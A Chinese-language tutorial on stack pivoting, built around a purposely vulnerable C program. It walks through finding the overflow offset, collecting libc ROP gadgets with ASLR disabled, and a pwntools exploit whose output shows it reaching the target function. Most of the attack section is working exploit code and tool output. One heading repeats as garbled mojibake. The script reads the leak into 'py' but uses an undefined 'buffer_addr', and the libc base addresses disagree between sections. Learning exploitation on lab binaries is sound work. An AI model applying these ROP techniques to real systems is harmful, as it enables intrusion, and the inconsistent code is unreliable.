1 what

stack pivoiting是一种栈空间转移技术

2 why

有时候缓冲区有长度限制，不利于在栈上配置rop gadget(空间不够)！

3 how

3.1 pop rsp gadget

这种情形比较少见，遇到了相当幸运～

3.2 xchg , rsp

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

3.3 leave;ret

leave相当于：

mov rsp,rbp
pop rbp

加上ret就等于：

mov rsp,rbp
pop rbp
pop rip

覆盖rbp，然后栈中的rip覆盖为Addr(leave;ret)，当接收数据的函数返回时候，rsp指向target，target新栈中保留了待执行shellcode

4 漏洞程序 vuln

// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}

4.1 vuln脆弱性

  • 存在输入性栈溢出，buffer大小0x60
  • fgets存在输入大小限制，0x80上界
  • 程序编译保护存在,nx
─$ checksec --file=./vuln
[*] '/home/kali/exploits/spivot/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

4.2 vuln脆弱性利用目标

rip指向 winner函数，获取winner函数的执行权

4.3 vuln利用步骤

4.3.1 测算rip的偏移

  1. 生成de bruijn串
└─$ ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
  1. fuzz vuln
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ r2 -d -A vuln
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f93b6df79c0]> dc
Try pivoting to: 0x7ffcd3256000
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
  1. 确定rip
[0x004011c5]> dr rbp
0x4169414168414167
[0x004011c5]> wopO `dr rbp`
96

所以，rip的偏移是104 = 96 + 8

  1. 猜测栈基本布局
    stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 | 因为fgets输入长度限制是0x80==128,而且，栈不可执行shellcode，所以，可以覆盖的区域只有 rip，x1，x2 三个变量的地址，且只能用rop gadget方式。

4.3.2 寻找可用gadget

  1. pop rdi
──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary vuln  | grep   'pop rdi'

很不幸，vuln程序中找不到类似pop rdi ｜ pop rsi等指令，只能去libc找一个用用。

  • libc找gadget的前提是ASLR已经关闭：
──(kali㉿kali)-[~/exploits/spivot]
└─$ cat /proc/sys/kernel/randomize_va_space
0
  • ROPgadget寻找libc
$ ldd vuln       
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16

所以，POP_RDI = 0x00007f85682b0000 + 0x027725

  1. pop rsi
(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf

所以，POP_RSI = 0x00007f85682b0000 + 0x028ed9

  1. pop rsp
(kali?kali)-[~/exploits/spivot]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret
...
0x00000000000273aa : pop rsp ; ret

所以，POP_RSP = 0x00007f85682b0000 + 0x0273aa

4.3.3 规划栈布局

  • old_stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |

new_stack ::=

新栈布局
+00 POP_RDI
+08 0xdeadbeef
+16 POP_RSI
+24 0xdeadc0de
+32 winner_addr
…
+104 POP_RSP (rip位置)
+112 Buffer_addr

4.3.4 pwntools编写利用代码

4.3.4 pwntools��д���ô���

from pwn import *
elf = context.binary = ELF('./vuln')

p = process()

# 获取buffer_addr
p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')

LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9

# 设置payload
payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)

# send payload
p.sendline(payload)

print(p.recvline())

exploit output

$ python exploit.py      
[*] '/home/kali/exploits/spivot/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[*] leak buffer addr: 0x7fffffffe280
[*] Paused (press any to continue)
**b'Great job!\n'**
[*] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)